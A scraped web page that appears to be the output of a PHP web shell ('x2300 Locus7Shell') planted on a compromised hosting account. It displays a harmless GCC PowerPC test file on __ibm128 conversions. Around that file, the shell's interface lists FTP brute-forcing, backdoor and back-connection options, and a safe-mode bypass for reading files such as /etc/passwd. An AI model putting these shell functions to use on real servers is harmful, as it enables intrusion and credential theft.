Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/powerpc/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr104253.c (3.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * Require float128 support because __ibm128 currently is not enabled unless we
 * also have __float128 support.  We require software IEEE 128-bit support,
 * which will work on power8.  If we have hardware IEEE 128-bit support (power9
 * or power10), ppc_float128_sw will still enable running the test.
 */

/* { dg-do run } */
/* { dg-require-effective-target ppc_float128_sw } */
/* { dg-options "-O2 -mvsx -mfloat128" } */
/* { dg-prune-output ".-mfloat128. option may not be fully supported" } */

/*
 * PR target/104253
 *
 * Verify that the various conversions to and from __ibm128 work.  When the
 *  default for long double is changed to IEEE 128-bit, originally GCC would
 *  call the functions using an 'if' name instead of 'tf' name.
 */

#include <stdlib.h>

extern float              ibm128_to_sf  (__ibm128) __attribute__((noinline));
extern double             ibm128_to_df  (__ibm128) __attribute__((noinline));
extern int                ibm128_to_si  (__ibm128) __attribute__((noinline));
extern long long          ibm128_to_di  (__ibm128) __attribute__((noinline));
extern unsigned int       ibm128_to_usi (__ibm128) __attribute__((noinline));
extern unsigned long long ibm128_to_udi (__ibm128) __attribute__((noinline));

extern __ibm128 sf_to_ibm128  (float)              __attribute__((noinline));
extern __ibm128 df_to_ibm128  (double)             __attribute__((noinline));
extern __ibm128 si_to_ibm128  (int)                __attribute__((noinline));
extern __ibm128 di_to_ibm128  (long long)          __attribute__((noinline));
extern __ibm128 usi_to_ibm128 (unsigned int)       __attribute__((noinline));
extern __ibm128 udi_to_ibm128 (unsigned long long) __attribute__((noinline));

float
ibm128_to_sf  (__ibm128 x)
{
  return x;
}

double
ibm128_to_df  (__ibm128 x)
{
  return x;
}

int
ibm128_to_si  (__ibm128 x)
{
  return x;
}

long long
ibm128_to_di  (__ibm128 x)
{
  return x;
}

unsigned int
ibm128_to_usi (__ibm128 x)
{
  return x;
}

unsigned long long
ibm128_to_udi (__ibm128 x)
{
  return x;
}

__ibm128
sf_to_ibm128  (float x)
{
  return x;
}

__ibm128
df_to_ibm128  (double x)
{
  return x;
}

__ibm128
si_to_ibm128  (int x)
{
  return x;
}

__ibm128
di_to_ibm128  (long long x)
{
  return x;
}

__ibm128
usi_to_ibm128 (unsigned int x)
{
  return x;
}

__ibm128
udi_to_ibm128 (unsigned long long x)
{
  return x;
}

volatile float            seven_sf    = 7.0f;
volatile double            seven_df    = 7.0;
volatile int            seven_si    = 7;
volatile long long        seven_di    = 7LL;
volatile unsigned int        seven_usi    = 7U;
volatile unsigned long long    seven_udi    = 7ULL;
volatile __ibm128        seven_ibm128    = 7.0;

int
main (void)
{
  if (seven_ibm128 != sf_to_ibm128 (seven_sf))
    abort ();

  if (seven_ibm128 != df_to_ibm128 (seven_df))
    abort ();

  if (seven_ibm128 != si_to_ibm128 (seven_si))
    abort ();

  if (seven_ibm128 != di_to_ibm128 (seven_di))
    abort ();

  if (seven_ibm128 != usi_to_ibm128 (seven_usi))
    abort ();

  if (seven_ibm128 != udi_to_ibm128 (seven_udi))
    abort ();

  if (seven_sf != ibm128_to_sf (seven_ibm128))
    abort ();

  if (seven_df != ibm128_to_df (seven_ibm128))
    abort ();

  if (seven_si != ibm128_to_si (seven_ibm128))
    abort ();

  if (seven_di != ibm128_to_di (seven_ibm128))
    abort ();

  if (seven_usi != ibm128_to_usi (seven_ibm128))
    abort ();

  if (seven_udi != ibm128_to_udi (seven_ibm128))
    abort ();

  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--